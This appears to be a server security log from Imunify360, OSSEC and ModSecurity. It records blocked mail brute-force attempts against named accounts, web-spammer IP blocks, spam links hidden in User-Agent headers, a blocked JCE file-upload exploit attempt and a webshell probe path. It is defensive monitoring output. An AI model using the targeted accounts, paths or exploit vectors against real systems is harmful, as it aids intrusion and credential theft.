# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.9.143
country_id: 1668284
description:
Jul 25 02:24:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.9.143 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.143
country_id: 1668284
description:
2026-07-25 02:24:56 dovecot_login authenticator failed for H=111-70-9-143.emome-ip.hinet.net ([50.231.243.28]) [111.70.9.143]:58102: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.105.71.106
country_id: 1814991
description:
2026-07-25 02:25:28 dovecot_login authenticator failed for H=(113-11-34-221.broadband.smile.com.bd) [223.105.71.106]:59784: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.105.71.106
country_id: 1814991
description:
Jul 25 02:25:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.105.71.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.180.16.11
country_id: 1814991
description:
Jul 25 02:25:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.180.16.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-07-25 02:25:19 dovecot_login authenticator failed for H=(dhcp-192-211-180.in2cable.com) [62.220.236.203]:50590: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.180.16.11
country_id: 1814991
description:
2026-07-25 02:25:20 dovecot_login authenticator failed for H=([182.95.12.178]) [119.180.16.11]:47464: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.46.138.214
country_id: 1814991
description:
2026-07-25 02:27:59 dovecot_login authenticator failed for H=([49.124.150.249]) [112.46.138.214]:34442: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.210.105.202
country_id: 3175395
description:
Jul 25 02:27:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.210.105.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.210.105.202
country_id: 3175395
description:
2026-07-25 02:27:40 dovecot_login authenticator failed for H=95-210-105-202.ip.skylogicnet.com ([162.217.227.37]) [95.210.105.202]:56861: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.46.138.214
country_id: 1814991
description:
Jul 25 02:27:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.46.138.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.210.164.158
country_id: 1210997
description:
Jul 25 02:28:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.210.164.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.210.164.158
country_id: 1210997
description:
2026-07-25 02:28:14 dovecot_login authenticator failed for H=([117.191.127.86]) [180.210.164.158]:37868: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.21.45.74
country_id: 1814991
description:
Jul 25 02:29:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.21.45.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-25 02:29:36 dovecot_login authenticator failed for H=([49.124.146.34]) [210.206.24.237]:15837: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.206.24.237
country_id: 1835841
description:
Jul 25 02:29:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.206.24.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.21.45.74
country_id: 1814991
description:
2026-07-25 02:29:32 dovecot_login authenticator failed for H=([68.71.240.212]) [111.21.45.74]:44057: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.230.65.53
country_id: 1512440
description:
Jul 25 02:29:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.230.65.53 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.65.53
country_id: 1512440
description:
2026-07-25 02:29:43 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [213.230.65.53]:53460: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-07-25 02:51:09 dovecot_login authenticator failed for H=(centrodenefrologia.static.gvt.net.br) [12.150.243.22]:6867: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.47.240.106
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-50.212.47.240.106||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.249.21.102
country_id: 2017370
description:
Jul 25 02:51:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.249.21.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.249.21.102
country_id: 2017370
description:
2026-07-25 02:51:58 dovecot_login authenticator failed for H=(162.9.52.116.broad.km.yn.dynamic.163data.com.cn) [87.249.21.102]:43899: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.93.37.178
country_id: 1269750
description:
Jul 25 02:52:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.93.37.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.93.37.178
country_id: 1269750
description:
2026-07-25 02:52:33 dovecot_login authenticator failed for H=([1.223.110.187]) [103.93.37.178]:39958: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.15.244.231
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-53.51.15.244.231||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.112.222.177
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-54.62.112.222.177||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 144.124.249.252
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-55.144.124.249.252||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.135.228.220
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-58.45.135.228.220||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.135.228.28
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-59.45.135.228.28||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-25 02:59:28 dovecot_login authenticator failed for H=(211-23-109-116.hinet-ip.hinet.net) [94.16.17.141]:57666: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.4.22
country_id: 2017370
description:
Jul 25 02:59:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.4.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.146.24.164
country_id: 2017370
description:
Jul 25 02:59:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.146.24.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.146.24.164
country_id: 2017370
description:
2026-07-25 02:59:47 dovecot_login authenticator failed for H=([61.178.82.215]) [91.146.24.164]:60072: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.4.22
country_id: 2017370
description:
2026-07-25 02:59:42 dovecot_login authenticator failed for H=(114.184.209.222.broad.cd.sc.dynamic.163data.com.cn) [31.173.4.22]:59716: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.8.245.100
country_id: 2017370
description:
Jul 25 03:00:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.8.245.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.8.245.100
country_id: 2017370
description:
2026-07-25 03:00:15 dovecot_login authenticator failed for H=([70.166.167.58]) [46.8.245.100]:59732: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.222.50
country_id: 2017370
description:
Jul 25 03:01:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.222.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.136.223.227
country_id: 2017370
description:
Jul 25 03:01:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.136.223.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.50
country_id: 2017370
description:
2026-07-25 03:01:35 dovecot_login authenticator failed for H=([74.196.127.84]) [178.178.222.50]:59946: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.136.223.227
country_id: 2017370
description:
2026-07-25 03:01:54 dovecot_login authenticator failed for H=(83-208-70-70.rcc.o2.cz) [78.136.223.227]:44379: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.135.228.63
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-03.45.135.228.63||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.15.225.94
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-02.51.15.225.94||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.12.178
country_id: 1269750
description:
Jul 25 03:02:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.12.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.216.198.132
country_id: 630336
description:
Jul 25 03:03:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.216.198.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.216.198.132
country_id: 630336
description:
2026-07-25 03:03:08 dovecot_login authenticator failed for H=([24.249.199.26]) [46.216.198.132]:39224: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.12.178
country_id: 1269750
description:
2026-07-25 03:02:53 dovecot_login authenticator failed for H=([111.26.62.45]) [182.95.12.178]:36422: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.46.124.0
country_id: 3686110
description:
Jul 25 03:02:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.46.124.0 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-25 03:02:57 dovecot_login authenticator failed for H=([45.236.40.32]) [201.46.124.0]:4283: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.160.72.42
country_id: 1835841
description:
2026-07-25 03:03:24 dovecot_login authenticator failed for H=(server.first4systems.com) [115.160.72.42]:55999: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.160.72.42
country_id: 1835841
description:
Jul 25 03:03:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.160.72.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.86
country_id: 458258
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-04.196.196.53.86||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.15.244.231
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-06.51.15.244.231||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.86
country_id: 458258
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-06.196.196.53.86||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.66.44.246
country_id: 2661886
description:
Jul 25 03:07:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.66.44.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-07-25 03:08:00 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com ([149.54.62.58]) [78.66.44.246]:39118: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.39.214
country_id: 1668284
description:
Jul 25 03:08:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.39.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.39.214
country_id: 1668284
description:
2026-07-25 03:08:15 dovecot_login authenticator failed for H=111-70-39-214.emome-ip.hinet.net ([101.13.5.32]) [111.70.39.214]:49124: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 65.49.218.94
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://tronscan.pro\">Epic Free TRON & TRC20 USDT Vanity Address Generator endings with 888888 Embark on an epic adventure in crypto personalization with the Epic Free TRON & TRC20 USDT Vanity Address Generator that delivers unmatched freedom and flair. This exceptional tron vanity address generator is totally free</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.86
country_id: 458258
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-11.196.196.53.86||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 141.164.45.187
country_id: 1835841
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-12.141.164.45.187||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.104.218
country_id: 2077456
description:
2026-07-25 03:13:07 dovecot_login authenticator failed for H=114-30-104-218.tpgi.com.au ([70.166.167.60]) [114.30.104.218]:33532: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.216.198.132
country_id: 630336
description:
2026-07-25 03:13:28 dovecot_login authenticator failed for H=(host-191-241-142-33.red.paralelo46.com.ar) [46.216.198.132]:60352: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.150.86.202
country_id: 1814991
description:
2026-07-25 03:13:33 dovecot_login authenticator failed for H=([49.124.155.175]) [219.150.86.202]:48942: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.45.144.201
country_id: 6252001
description:
Jul 25 03:13:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.45.144.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.216.198.132
country_id: 630336
description:
Jul 25 03:13:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.216.198.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.150.86.202
country_id: 1814991
description:
Jul 25 03:13:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.150.86.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.45.144.201
country_id: 6252001
description:
2026-07-25 03:14:00 dovecot_login authenticator failed for H=66-45-144-201-dynamic.midco.net ([5.26.37.10]) [66.45.144.201]:47946: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 212.47.240.106
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-15.212.47.240.106||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.203.215.166
country_id: 290557
description:
Jul 25 03:15:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.203.215.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.203.215.166
country_id: 290557
description:
2026-07-25 03:15:41 dovecot_plain authenticator failed for H=(fanilly) [94.203.215.166]:48501: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 95.85.94.112
country_id: 1861060
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-16.95.85.94.112||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 147.93.157.53
country_id: 1880251
domain: interceptorglobal.in
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:chunk.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 81.28.13.9
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-17.81.28.13.9||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.134.30
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://emergencyacrepair1.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.221.144.203
country_id: 2077456
description:
Jul 25 03:22:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.221.144.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.93.169
country_id: 337996
description:
Jul 25 03:22:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.93.169 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-25 03:22:32 dovecot_login authenticator failed for H=([223.197.146.111]) [196.188.93.169]:2490: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-25 03:23:06 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([154.73.4.144]) [80.223.198.246]:51484: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.221.144.203
country_id: 2077456
description:
2026-07-25 03:22:21 dovecot_login authenticator failed for H=([49.124.151.6]) [203.221.144.203]:41106: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.39.70.159
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-23.89.39.70.159||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.143
country_id: 1819730
description:
2026-07-25 03:23:30 dovecot_login authenticator failed for H=(nsg-static-153.77.71.182.airtel.in) [223.197.153.143]:56695: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.153.143
country_id: 1819730
description:
Jul 25 03:23:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.153.143 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.225.93.215
country_id: 2661886
domain: mail.kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.112.222.27
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-25.62.112.222.27||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.94.115.164
country_id: 1814991
description:
Jul 25 03:29:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.94.115.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.246.3.236
country_id: 1835841
description:
Jul 25 03:29:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.246.3.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.246.3.236
country_id: 1835841
description:
2026-07-25 03:29:38 dovecot_login authenticator failed for H=([31.173.29.136]) [49.246.3.236]:53102: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 149.34.251.250
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-29.149.34.251.250||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.94.115.164
country_id: 1814991
description:
2026-07-25 03:29:13 dovecot_login authenticator failed for H=([115.245.172.214]) [218.94.115.164]:47402: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.28.165.105
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-30.104.28.165.105||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 149.34.251.246
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-30.149.34.251.246||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.243.81.41
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-31.91.243.81.41||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-25 03:32:41 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com (143.38.109.208.host.secureserver.net) [82.209.191.11]:40366: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.156.26.25
country_id: 1282988
description:
Jul 25 03:32:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.156.26.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.234.9.218
country_id: 2017370
description:
Jul 25 03:32:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.234.9.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.156.26.25
country_id: 1282988
description:
2026-07-25 03:32:29 dovecot_login authenticator failed for H=([38.148.99.59]) [103.156.26.25]:49344: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.9.218
country_id: 2017370
description:
2026-07-25 03:32:29 dovecot_login authenticator failed for H=([116.7.248.50]) [213.234.9.218]:50522: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.209.191.11
country_id: 2661886
description:
Jul 25 03:32:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.209.191.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.5.205.174
country_id: 6252001
description:
2026-07-25 03:33:36 dovecot_login authenticator failed for H=ip-50-5-205-174.dynamic.fuse.net ([128.185.33.239]) [50.5.205.174]:44466: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.32.5
country_id: 1668284
description:
Jul 25 03:33:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.32.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.5
country_id: 1668284
description:
2026-07-25 03:33:50 dovecot_login authenticator failed for H=111-70-32-5.emome-ip.hinet.net ([49.124.153.45]) [111.70.32.5]:48141: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.5.205.174
country_id: 6252001
description:
Jul 25 03:33:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.5.205.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.166.50.15
country_id: 453733
description:
Jul 25 03:34:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.166.50.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.219.177.95
